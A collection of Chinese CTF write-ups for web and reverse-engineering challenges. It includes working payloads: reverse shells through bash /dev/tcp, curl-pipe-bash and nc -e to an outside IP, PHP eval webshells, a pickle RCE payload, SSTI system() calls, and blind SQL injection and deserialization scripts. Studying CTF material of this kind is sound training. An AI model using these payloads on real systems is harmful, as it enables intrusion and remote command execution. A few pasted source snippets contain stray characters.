CTF Writeup

尽量写吧

new bugku

web

web14

提示备份了不少东西,用Githack得到flag。

web15

提示vim编辑器,想到源码泄露。输入swp,把1改成i,得到flag。

web20

正则匹配动态密文,提交时要使用session或者cookie

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re

url = 'http://123.206.31.85:10020/'
s = requests.session()
r = s.get(url).text
# print(r)
ma = re.search(r'([a-z0-9]{33})',r)
# print(ma)
param = {'key':ma.group(0)}
r = s.get(url,params=param).text
print(r)

安恒月赛

2020 4

Ezunserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

处理过程中只要存在 \0\0\0 这6个字符就会替换成 chr(0)*chr(0) 这3个字符,反序列化过程中会根据长度进行反序列化,就有了逃逸的空间。

最后在 class C 中 toString 方法可以读取 flag.php,class B 中有 echo ,echo 一个 class C 的实例就可以输出了。

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://183.129.189.60:10001/'
a = '\\0\\0\\0'*8
b = 'x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}'
r = requests.get(url, params={'a': a, 'b': b})
print(r.url)
print(r.text)

#O:1:"A":2:{s:8:"username";s:2:"un";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
#O:1:"A":2:{s:8:"username";s:2:"un";s:8:"password";s:56:"x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

攻防世界

web

baby web

提示想想首页是哪个,访问index.php,跳转回 1.php,抓个包,repeater里重放,看到返回的header里面有flag

php rce

thinkphp 5 的漏洞(https://www.vulnspy.com/cn-thinkphp-5.x-rce/)

1
http://111.198.29.45:30031/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20@eval($_POST[c]);?%3E%27%20%3E%20info.php

写入一个shell到info.php,蚁剑连接,根目录下有flag

web2

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$s = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_o = base64_decode(strrev(str_rot13($s)));
for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
?>

Reverse

csaw2013reversing2

执行发现flag是乱码,IDA打开,lpMem存着flag,如果执行到if里面程序就会退出,执行不到messagebox,同时if里面还有好像是处理flag的函数。所以想执行了这个函数之后再执行messagebox,这样就能打印出flag。拖进od,执行到程序设定的断点,nop掉最近的跳转(否则会执行之前的messagebox),接下来执行处理flag的函数,之后跳转到exitprocess,把这个跳转转到messagebox,一共有两个,都试一遍,在第二个得到flag。

dmd-50

IDA,发现一串字符串 780438d5b6e29db0898bc4f0225935c0,是上面MD5加密得到的,拖去解密,是grape的两次MD5,再把grape加密一次,得到flag

re1

拖进OD,搜索字符串

game

先运行一遍,像是玩一个游戏,把灯全点亮可以拿到flag。拖进OD,搜索字符串,看到 “done!the flag is”这里,找到跳转进来的位置,记下开始(push ebp)的地址(00C5E940),再到提示选项的地方(1,△),到这一段的开始(push ebp),改成jmp 00C5E940。

getit

IDA发现它把东西写入了 /tmp/flag.txt,在remove下断点,去flag.txt看,发现是假的= =。重新看,是一个简单的算法,用python写一下,得到flag

1
2
3
4
5
6
7
8
s = 'c61b68366edeb7bdce3c6820314b7498'
t = r'SharifCTF{????????????????????????????????}'
for v5 in range(len(s)):
if v5%2:
v3 = 1
else:
v3 = -1
print(chr(ord(s[v5])+v3),end='')

最后要加上格式 SharifCTF{}

Hello Ctf

运行,提示输入序列号,随便输,wrong。IDA里打开,发现一串字符串,向下看发现是把输入转换一下和之前的字符串比较,一致就会给出success。

Open Source

arg1 = 0xcafe arg2 = 25 arg3 = h4cky0u,打印得到flag

insanity

IDA看一下,好像是把flag和随机数运算一下输出出来,shift F12得到flag

logmein

IDA,在主函数的for循环处是算法部分,用c语言照着写下来。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main()
{
char s[] = ":\"AL_RT^L*.?+6/46";
long long t = 28537194573619560LL;
char * tp = (char *)&t;
for(int i=0;s[i];i++)
{
printf("%c",s[i]^tp[i%7]);
}
}

maze

找到关键函数 sub400690,O:a2-1,o:a2+1,.:a3-1,0:a3+1,a1是地图,走出来把方向记下来,得到flag

no strings attached

32位的elf文件,拖到linux虚拟机里执行一下,出错了。放进IDA,看到4各函数,最后一个把输入和解密之后的数据比较一下,一样会输出success。看一下汇编,decrypt函数运行后有 mov [ebp+s2],eax,解密后的flag在eax里。用gdb,b decrypt,r,n,i r,x/6sw $eax,以word(4字节),字符串形式显示6行,看到flag。

python trade

找个在线的pyc反编译网站,看到一个编码算法,反着写出来,得到flag

1
2
3
4
5
6
7
8
9
10
11
import base64

correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'
def decode(s):
s = base64.b64decode(s)
res = ''
for c in s:
x = c-16
res += chr(x^32)
return res
print(decode(correct))

Shuffle

IDA看一下,是一个字符数组,转换成char就拿到了flag

simple unpack

IDA二进制方式打开,搜索flag,或者用upx脱壳后再打开,可以直接看到flag。

BUUCTF

web

[ACTF2020 新生赛]BackupFile

提示有源文件,index.php.bak,然后就是一个弱类型,key=123

[ASIS 2019]Unicorn shop

查看源代码,说UTF-8很重要。输入4,1337,提示只能输入一个字符。查一下Unicode,Unicode - Compart,随便找一个比1337大的,取UTF8编码,比如0xF0 0x90 0xA1 0x9F。输入4, %F0%90%A1%9F,得到flag

[安洵杯 2019]easy_web

看到img=…,可能存在文件包含,base64解密两次,ASCII Hex解密一次,得到555.pnf0?换成index.php加密回去,在img标签的src里看见base64之后的源码。

cmd参数可以执行系统命令,过滤了常用的读取文件的命令。可以使用ca/t f/lag,也可以用sort flag.

下面是一个强类型的md5碰撞,使用fastcoll,.\fastcoll_v1.0.0.5.exe -o 1.txt 2.txt,生成两个md5内容相同的文件。

1
2
3
4
5
6
7
8
9
10
11
import requests

with open(r'C:\Users\<user>\Desktop\1.txt','rb') as f1:
with open(r'C:\Users\<user>\Desktop\2.txt','rb') as f2:
a = f1.read()
b = f2.read()
url = 'http://9c2738e0-05e7-4936-839d-286bde014ef5.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd='
cmd = r'sort /flag'
data = {'a': a,'b': b}
r = requests.post(url+cmd, data=data)
print(r.text)

读取文件时要用绝对路径,否则会找不到文件,原因不明。

[BJDCTF 2nd]fake google

随便输点什么,看到提示 SSTI。

1
{{1+1}}

能看到结果,直接 tplmap,得到flag。

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

从后往前看,假设文件在./flag.php,目的是执行file_get_contents('./flag.php'),usrinfo来自filter和反序列化的$_SESSION,filter删除特定的字符串。由于是先反序列化后过滤,本来不属于变量的一部分的字符串可能被收进变量中。extract可以用于覆盖变量。

没有成功,原来文件不是flag.php。

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

filter会删除flag,img被反序列化。得到flag的位置,改一下payload就可以了。

[BJDCTF2020]EasySearch

存在 .swp 备份,先爆破 md6

1
2
3
4
5
6
7
import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
if md5(str(i)).startswith('6d0bc1'):
print(i)
break

得到2020666,在返回包头看见文件,进入。这个文件是一个 shtml 文件,存在模板注入。

返回 index,用户名处输入payload

1
<!--#exec cmd="命令"--> # 此处使用 ls

发现文件 flag ,访问可以得到flag

[BJDCTF 2nd]Schrödinger

有个爆破密码的功能,扫下目录发现 test.php,应该是要用这个功能爆破 test 的密码。

看一下 cookie,有个 base64加密的值,user=1589337171,不知道是什么,先改一改,改成999999999999999999,刷新发现页面变了

1
2
Already burst -999999998410662300 sec, 122930 p/s
Forecast success rate NaN%

刚才的 user 应该是时间,但是改完变成负的了,再改成0试试。

1
2
Already burst 1589337868 sec, 142033 p/s
Forecast success rate 99.57694165675845%

再 check 成功了,弹出密码av11664517@1583985203,查一下这个av号,是北京大学量子力学的视频,flag 在评论里,脚本跑一下。

[BJDCTF 2nd]duangShell

下载源代码.index.php.swp,使用 vim -r index.php.swp恢复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl'); {
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
} {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

过滤了符号,不能使用变量拼接。禁用了 base64 ,也不能编码绕过。需要反弹sehll

申请小号,开一个 linux lab,在 /var/www/html下写反弹shell

1
echo 'bash -i >& /dev/tcp/174.1.54.235/4444 0>&1' > a

监听

1
nc -lvvp 4444

到 web 页面 POST

1
girl_friend=curl http://174.1.54.235/a|bash

遇到了问题,bash 会自动退出,原因不明,改成 nc 反弹 shell,监听

1
nc -lvvp 9999

POST

1
girl_friend=nc 174.1.54.235 9999 -e /bin/bash

成功得到shell

1
2
find / -name flag
cat /etc/demo/P3rh4ps/love/you/flag

提示 cookie,在 flag 页面输入 admin,刷新抓包可以看到 cookie 里面有一个 user 字段,同时页面上显示 Hello,admin。输入

1
{{1+1}}

得到2,模板注入。burp 里把 user 字段改成下面的值

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

[BJDCTF2020]ZJCTF,不过如此

代码审计,/?text=php://input&file=php://filter/read/convert.base64-encode/resource=next.php,POST I have a dream,得到 next.php 源码,也可以用data://text/plain,I%20have%20a%20dream

next.php 存在带 /e的 preg_replace,/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[BJDCTF2020]The mystery of ip

Hint 里提到知道 IP,抓包改 XFF,显示的 IP 就会变,想到模板注入

1
X-Forwarded-For: {{1+1}}

显示了2,确实存在模板注入,模板是 Smarty

1
X-Forwarded-For: {{system("cat /flag")}}

[BJDCTF 2nd]简单注入

打个引号就告诉我 Stop hacking,看下 robots.txt,有 hint.txt

1
2
3
4
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

过滤了select='unionand;"

可以在username 使用\转义单引号,就可以在 password 处执行查询了,之后就是常规盲注。抄个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
i = i + 1
head=32
tail=127

while( head < tail ):
mid = (head + tail) >> 1

#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)

data['password'] = payload
r = requests.post(url,data=data)

if "stronger" in r.text :
head = mid + 1
else:
tail = mid

last = result

if head!=32:
result += chr(head)
else:
break
print(result)

[BJDCTF2020]Mark loves cat

git 源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}y'd's
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

看着很复杂,不要有思维定势觉得一定要走到最后一行,实际上在exit()中就可以得到结果。几个 exit 条件中,不传入 flag 的这一条最容易实现,会输出 $yds,所以直接 GET 传入yds=flag,会把真正的flag赋值给$yds,再 exit 就得到了flag。

[BUUCTF 2018]Online Tool

同时使用escapechellargs和escapeshellcmd会出现问题,用单引号包含的参数会导致参数注入。

1
2
3
4
5
6
7
' <?php @eval($_POST["hack"]);?> -oG hack.php '
# escapeshellargs先对单引号转义
\' <?php @eval($_POST["hack"]);?> -oG hack.php \'
# 然后对反斜线分隔的每个部分加单引号
''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
# escapeshellcmd对其他特殊字符转义,但不转义单引号
''\\'' \<\?php \@eval(\$_POST\[\"hack\"\]);\?\> -oG hack.php '\\'''

[CISCN2019 总决赛 Day2 Web1]Easyweb

有robots.txt,看到*.php.bak,看看index的源码,有个image.php还有user.php,image.php.bak可以下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

addslashes在单双引号、反斜杠和空字符前加上反斜杠,strreplace把数组中的内容删除。

这里思路窄了,以为只要一个位置就可以,怎么也弄不出来单引号。但实际上在path后面有一个单引号,只要有一个反斜杠来转义id后面的引号就可以了。可以使用\\0,addslashes变成\\\\0,strreplace变成\。由于没有显示位,使用布尔盲注。当id=1时有图片,id=0时显示有错误。

[CISCN 2019 初赛]Love Math

函数:

1
2
3
4
5
6
scandir() # 返回指定目录中的文件和目录的数组
base_convert() # 转换禁止
dechex() # 十进制转为十六进制
hex2bin() # 十六进制转为ASCII字符
var_dump() # 输出变量信息
readfile() # 输出文件

特性:

  • 动态函数:可以把函数名用字符串传递给变量,通过此变量动态调用函数。$func='die';$func();
  • 函数名默认为字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

不能出现blacklist中的内容,preg_match_all得到的内容必须在whitelist里,同时payload有长度限制。

方法一:构造$_GET

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /

1
2
3
4
5
base_convert(37907361743,10,36) ==>  "hex2bin"
dechex(1598506324) ==> "5f474554"
base_convert(37907361743,10,36)(dechex(1598506324))
==> hex2bin("5f474554") ==> "_GET"
$_GET{pi}{$_GET{abs}} ==> system('ls /'')

方法二:构造getallheaders

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

1
2
3
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

发包时用burp抓包,在headers添加1: cat /flag

方法三:异或

fuzz:

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[CISCN2019 华北赛区 Day1 Web2]ikun

先注册个账号,找到lv6的号,

1
2
3
4
5
6
7
8
9
import requests

url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="

for i in range(1000):
r = requests.get(url + str(i))
if "lv6.png" in r.text:
print i
break

然后购买,抓包,把discount改成0.000000000001,就可以买下来。

发现只有admin可以访问,查看cookie,有一个jwt,到 jwt.io ,解码,把 username 改为admin ,用 https://github.com/brendan-rius/c-jwt-cracker,跑出签名为 1Kun,再到 jwt.io得到 jwt,eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo,用edit this cookie改成新的jwt,刷新可以看到 “一键成为大会员”,也可以看到源码,打开源码里面admin.py,看到pickle.loads(urllib.qoute(become)),(反序列化文章,http://www.sohu.com/a/274879579_729271),一键成为大会员按钮会post一个 become 参数,利用反序列化漏洞读取flag

1
2
3
4
5
6
7
8
9
>>> import urllib
>>> import pickle
>>> class a(object):
... def __reduce__(self):
... return (eval,("open('/flag.txt','r').read()",))
...
>>> a = pickle.dumps(a())
>>> a = urllib.quote(a)
>>> print a

得到c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.,抓包,把become=admin改成上面的字符串,得到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

一共就两条数据,过滤了空格,and,or,布尔盲注。

可以使用id=0^[payload]或者id=if([payload],1,2)。后者只能用于数字型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://c30faac4-d474-4905-a58f-c43c968a74ac.node3.buuoj.cn:80/index.php"
i = 1
while True:
left = 32
right = 127
while True:
if right - left == 1:
print(chr(right), end='')
break
mid = int((right+left)/2)
data = {"id": "if(ascii(mid((select(flag)from(flag)),{},1))>{},1,2)".format(i, mid)}
r = requests.post(url, data=data, proxies={'http':'127.0.0.1:9999'})
if 'Hello' in r.text:
left = mid
else:
right = mid
i += 1

可能是在print()函数中用end关键字参数的话不会刷新缓冲区,大概觉着跑完了就Ctrl+C,就能看到结果了 = =。

[CISCN2019 总决赛 Day2 Web1]Easyweb

robots.txt,有 image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

不应该过\\0,传入\0,加反斜线变成\\\0,过之后变成\,可以逃逸。

1
2
image.php?id=\0&path=+or+id=3+order+by+2%23 # 成功
image.php?id=\0&path=+or+id=3+order+by+3%23 # 失败

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://b74c9739-071c-4a0f-9c97-f7eff3e4438e.node3.buuoj.cn/image.php"
result = ''

for i in range(0, 30):
right = 127
left = 32
mid = int((right + left) >> 1)
while right > left:
payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
# select group_concat(column_name) from information_schema.columns where table_schema=database()
#
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)

if "JFIF" in response.text:
left = mid + 1
else:
right = mid
mid = int((right + left) >> 1)

result += chr(mid)
print(result)

回显位置,发现是 php,有上传的文件名。再次上传文件名为 php 木马的文件,连接日志文件获得 shell

1
logs/upload.1de80834766269f33c963dd093dee010.log.php

文件名

1
<?=@eval($_POST['c']);?>

[CISCN2019 华东南赛区]Web11

Smarty 模板注入,可以使用一些 php 语句

1
2
{if show_source('/flag')}{/if}
{readfile('/flag')}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

走一遍正常流程,注册登录,上传只能传图,下载的地方抓一下包,filename这里有路径穿越,读了index, upload, download, class, delete, login,开始审计。

upload里面会检查文件类型,然后把后缀名改成图片的类型,默认是gif。

download限制了文件名长度,其中不能含有flag。

重点是class.php,其中有3个类,FIle, Filelist, User

1
2
3
4
5
6
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}

FIle类中的close()file_get_contents()可以用来获取flag,但是没有输出

1
2
3
4
5
6
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}

User类中有__destruct(),在User类销毁的时候可以调用db的close方法,如果db是一个File类的实例,就能调用FIle的close读取flag,但还是不能输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->func, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = 'html...';
$table .= 'html...';
foreach ($this->funcs as $func) {
$table .= 'html...';
}
$table .= 'html...'
foreach ($this->results as $filename => $result) {
$table .='html..';
foreach ($result as $func => $value) {
$table .= '..'.htmlentities($value).'..';
}
$table .= '...'.htmlentities($filename).'..';
}
echo $table;
}
}

FileList 类中有__call(),可以调用File的close(),还能存储结果输出出来。

思路:创建一个User类的对象,它的db变量是一个FileList对象,FileList的files变量是包含一个File对象的数组,这个File对象的filename变量是flag的位置。User对象销毁时会调用db的close(),db是一个FIleLIst对象,没有close()的情况下会调用__call(),再调用File($filename=’/flag.txt’)的close(),返回值存到FileList的$result里,再打印出来。

可以利用phar创建符合以上要求的对象,可以参考博客里的 phar扩展php反序列化攻击面。生成phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("jwt.txt", "test");
$phar->stopBuffering();
?>

很多文件系统函数可以触发phar的反序列化,这个网站有上传、下载和删除操作,都看一遍,上传和下载都没什么,删除的地方有个unlink,正好可以利用,把生成的phar后缀名改成jpg,上传,在删除的地方抓包,可以得到flag。

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

分为3个路由,geneSgn生成'scan' + param的md5。index给你看一下源代码。challenge接受action,param,sign三个参数,param过一下waf(不能以gopher或者file开头),进入Exec,首先检查secret_key + param + action的md5与 sing 是否一致,然后判断 scan 和 read 是否在action中。如果含有scan则把param文件写入tmpfile,含有read返回tmpfile的内容。

解法一:哈希长度扩展攻击

secret_key长度16,geneSign?param=flag.txt 可以得到 md5(secret_key + 'flag.txt' + 'scan'),目的是获取md5(secret_key + 'flag.txt' + action)其中action含有read。可以使用哈希长度扩展攻击。

得到action 为 scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%0 0%00%00%00%00%00read时的md59b02232286ed9dd4f7e52eba63094180,发包即可。

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://63904195-027d-4866-a049-78fd37f2a920.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '9b02232286ed9dd4f7e52eba63094180',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}

r = requests.get(url, cookies=cookies)
print(r.text)

解法二:字符串拼接

